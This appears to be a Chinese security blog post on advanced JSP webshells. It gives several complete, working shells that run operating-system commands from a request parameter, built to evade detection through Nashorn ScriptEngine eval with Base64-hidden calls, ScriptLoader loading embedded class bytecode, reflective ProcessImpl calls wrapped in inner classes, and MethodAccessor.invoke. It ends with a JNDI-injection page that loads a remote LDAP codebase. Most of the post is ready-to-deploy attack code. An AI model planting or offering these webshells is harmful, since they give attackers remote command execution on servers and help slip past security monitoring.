JSP Webshell进阶
2022-03-21 15:47:06 # Java安全

之前学习了基础的JSP Webshell的免杀思路,现在学习下其他的构建思路

使用ScriptEngine

使用Java自带的ScriptEngine可以说是最完美的Java动态执行代码方案之一

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<%@ page import="javax.script.ScriptEngineManager" %>
<%@ page import="java.util.Base64" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<html>
<body>
<h2>ScriptEngine.eval的JSP Webshell</h2>
<%
String s1 = "s=[3];s[0]='cmd.exe';s[1]='/c';s[2]='";
String s2 = request.getParameter("cmd");
String s3 = new String(Base64.getDecoder().decode("JztqYXZhLmxhbmcuUnVudGltZS5nZXRSdW50aW1lKCkuZXhlYyhzKTs="));
Process process = (Process) new ScriptEngineManager().getEngineByName("nashorn").eval(s1 + s2 + s3);
InputStream inputStream = process.getInputStream();
StringBuilder stringBuilder = new StringBuilder();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream));
String line;
while((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line).append("\n");
}
if (stringBuilder.length() > 0) {
response.getOutputStream().write(stringBuilder.toString().getBytes());
}
%>
</body>
</html>

运行结果:

image-20220321160323251

使用ScriptLoader

使用的是

1
Jdk.nashorn.internal.runtime.ScriptLoader类加载器加载的JSP Webshell

如果某些类加载器被禁用了,就可以使用这个特殊的类加载器去加载字节码执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.security.CodeSource" %>
<%@ page import="java.security.cert.Certificate" %>
<%@ page import="java.util.Base64" %>
<%@ page import="jdk.nashorn.internal.runtime.Context" %>
<%@ page import="jdk.nashorn.internal.runtime.options.Options" %>
<%@ page import="java.lang.reflect.InvocationTargetException" %>
<%@ page import="sun.reflect.misc.MethodUtil" %>
<html>
<body>
<h2>jdk.nashorn.internal.runtime.ScriptLoader类加载器加载的JSP Webshell</h2>
<%
Class c = Class.forName("jdk.nashorn.internal.runtime.ScriptLoader");
final Constructor constructor = c.getDeclaredConstructor(Context.class);
constructor.setAccessible(true);
final Method m = c.getDeclaredMethod("installClass", String.class, byte[].class, CodeSource.class);
m.setAccessible(true);
class A {
B b;
final class B {
private Object o;
private Object[] oo;

public B() throws IllegalAccessException, InvocationTargetException, InstantiationException {
o = constructor.newInstance(new Context(new Options(""), null, null));
oo = new Object[]{"com.sec.test01.Test", Base64.getDecoder().decode("yv66vgAAADQAWgoAGQAsBwAtCgACACwKAC4ALwcAMAgAMQgAMgoALgAzCgA0ADUHADYIADcKAAoAOAcAOQoADQA6CgANADsKAAIAPAgAPQoAAgA+CgANAD8KAAoAPwoAQAA/CgA0AEEKAEIAPwcAQwcARAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAARFdmFsAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAA1TdGFja01hcFRhYmxlBwBDBwAwBwAtBwBFBwBGBwA2BwA5AQAKRXhjZXB0aW9ucwcARwEAClNvdXJjZUZpbGUBAAlUZXN0LmphdmEMABoAGwEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyBwBIDABJAEoBABBqYXZhL2xhbmcvU3RyaW5nAQAHY21kLmV4ZQEAAi9jDABLAEwHAEUMAE0ATgEAGWphdmEvaW8vSW5wdXRTdHJlYW1SZWFkZXIBAANHQksMABoATwEAFmphdmEvaW8vQnVmZmVyZWRSZWFkZXIMABoAUAwAUQBSDABTAFQBAAEKDABVAFIMAFYAGwcARgwAVwBYBwBZAQATY29tL3NlYy90ZXN0MDEvVGVzdAEAEGphdmEvbGFuZy9PYmplY3QBABFqYXZhL2xhbmcvUHJvY2VzcwEAE2phdmEvaW8vSW5wdXRTdHJlYW0BABNqYXZhL2lvL0lPRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAKChbTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAqKExqYXZhL2lvL0lucHV0U3RyZWFtO0xqYXZhL2xhbmcvU3RyaW5nOylWAQATKExqYXZhL2lvL1JlYWRlcjspVgEACHJlYWRMaW5lAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAh0b1N0cmluZwEABWNsb3NlAQAPZ2V0T3V0cHV0U3RyZWFtAQAYKClMamF2YS9pby9PdXRwdXRTdHJlYW07AQAUamF2YS9pby9PdXRwdXRTdHJlYW0AIQAYABkAAAAAAAIAAQAaABsAAQAcAAAAHQABAAEAAAAFKrcAAbEAAAABAB0AAAAGAAEAAAAIAAEAHgAfAAIAHAAAAOoABQAJAAAAeLsAAlm3AANNuAAEBr0ABVkDEgZTWQQSB1NZBStTtgAITi22AAk6BLsAClkZBBILtwAMOgW7AA1ZGQW3AA46BhkGtgAPWToHxgASLBkHtgAQEhG2ABBXp//pLLYAEjoIGQa2ABMZBbYAFBkEtgAVLbYAFrYAFxkIsAAAAAIAHQAAADYADQAAAAoACAALACEADAAnAA0ANAAOAD8AEABKABEAWQATAF8AFABkABUAaQAWAG4AFwB1ABgAIAAAACQAAv8APwAHBwAhBwAiBwAjBwAkBwAlBwAmBwAnAAD8ABkHACIAKAAAAAYAAgApACkAAQAqAAAAAgAr"), new CodeSource(null, (Certificate[]) null)};
}
}

public A() throws IllegalAccessException, InstantiationException, InvocationTargetException {
b = new B();
}

public Class invokex(Method method)
throws InvocationTargetException, IllegalAccessException {
return (Class) MethodUtil.invoke(method, b.o, b.oo);
}
}

Class target = new A().invokex(m);
Method eval = target.getDeclaredMethod("Eval", String.class);
Object cmd = eval.invoke(target.newInstance(), request.getParameter("cmd"));
String s = cmd.toString();
out.println(s);
%>
</body>
</html>

image-20220321162306337

使用内部类

使用内部类绕过检测java.lang.ProcessImpl以及invoke

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page import="java.lang.reflect.InvocationTargetException" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.util.Map" %>
<%@ page import="sun.reflect.misc.MethodUtil" %>
<html>
<body>
<h2>java.lang.ProcessImpl JSP Webshell</h2>
<%
try {
final String s = request.getParameter("threedr3am");
class A {

B b;

final class B {

private Method o;
private Object oo;
private Object[] ooo;

public B() throws ClassNotFoundException, NoSuchMethodException {
Class clz = Class.forName("java.lang.ProcessImpl");
Method method = clz
.getDeclaredMethod("start", String[].class, Map.class, String.class,
ProcessBuilder.Redirect[].class, boolean.class);
method.setAccessible(true);
o = method;
oo = clz;
ooo = new Object[]{s.split(" "), null, null, null, false};
}
}

public A() throws ClassNotFoundException, NoSuchMethodException {
b = new B();
}

public Object invokex()
throws InvocationTargetException, IllegalAccessException {
return MethodUtil.invoke(b.o, b.oo, b.ooo);
}
}

Process process = (Process) new A().invokex();
InputStream inputStream = process.getInputStream();
StringBuilder stringBuilder = new StringBuilder();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream));
String line;
while ((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line).append("\n");
}
if (stringBuilder.length() > 0) {
response.getOutputStream().write(stringBuilder.toString().getBytes());
}
} catch (Exception e) {
e.printStackTrace();
}

%>
</body>
</html>

运行结果:

image-20220321163319663

使用MethodAccessor.invoke

如果检测了Method.invoke,就可以通过MethodAccessor.invoke绕过检测,核心代码如下:

1
2
3
ReflectionFactory reflectionFactory = AccessController.doPrivileged(new sun.reflect.ReflectionFactory.GetReflectionFactoryAction());
MethodAccessor methodAccessor = reflectionFactory.newMethodAccessor(method);
Process process = (Process) methodAccessor.invoke(null, null);

使用JdbcRowSetImpl进行jndi注入

1
2
3
4
5
6
7
8
9
10
11
<%@ page import="com.sun.rowset.JdbcRowSetImpl" %>
<%
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
jdbcRowSet.setDataSourceName(request.getParameter("url"));//ldap://localhost:port/Calc
try {
jdbcRowSet.setAutoCommit(true);
} catch (Throwable e) {
response.getOutputStream().write(e.getCause().getMessage().getBytes());
}
%>

参考

https://threedr3am.github.io/2020/06/12/%E9%83%BD0202%E5%B9%B4%E4%BA%86%E8%80%81%E5%97%A8%E8%BF%98%E5%9C%A8%E7%94%A8%E7%9A%84%20-%20%E5%90%84%E7%A7%8D%E5%A7%BF%E5%8A%BFjsp%20webshell/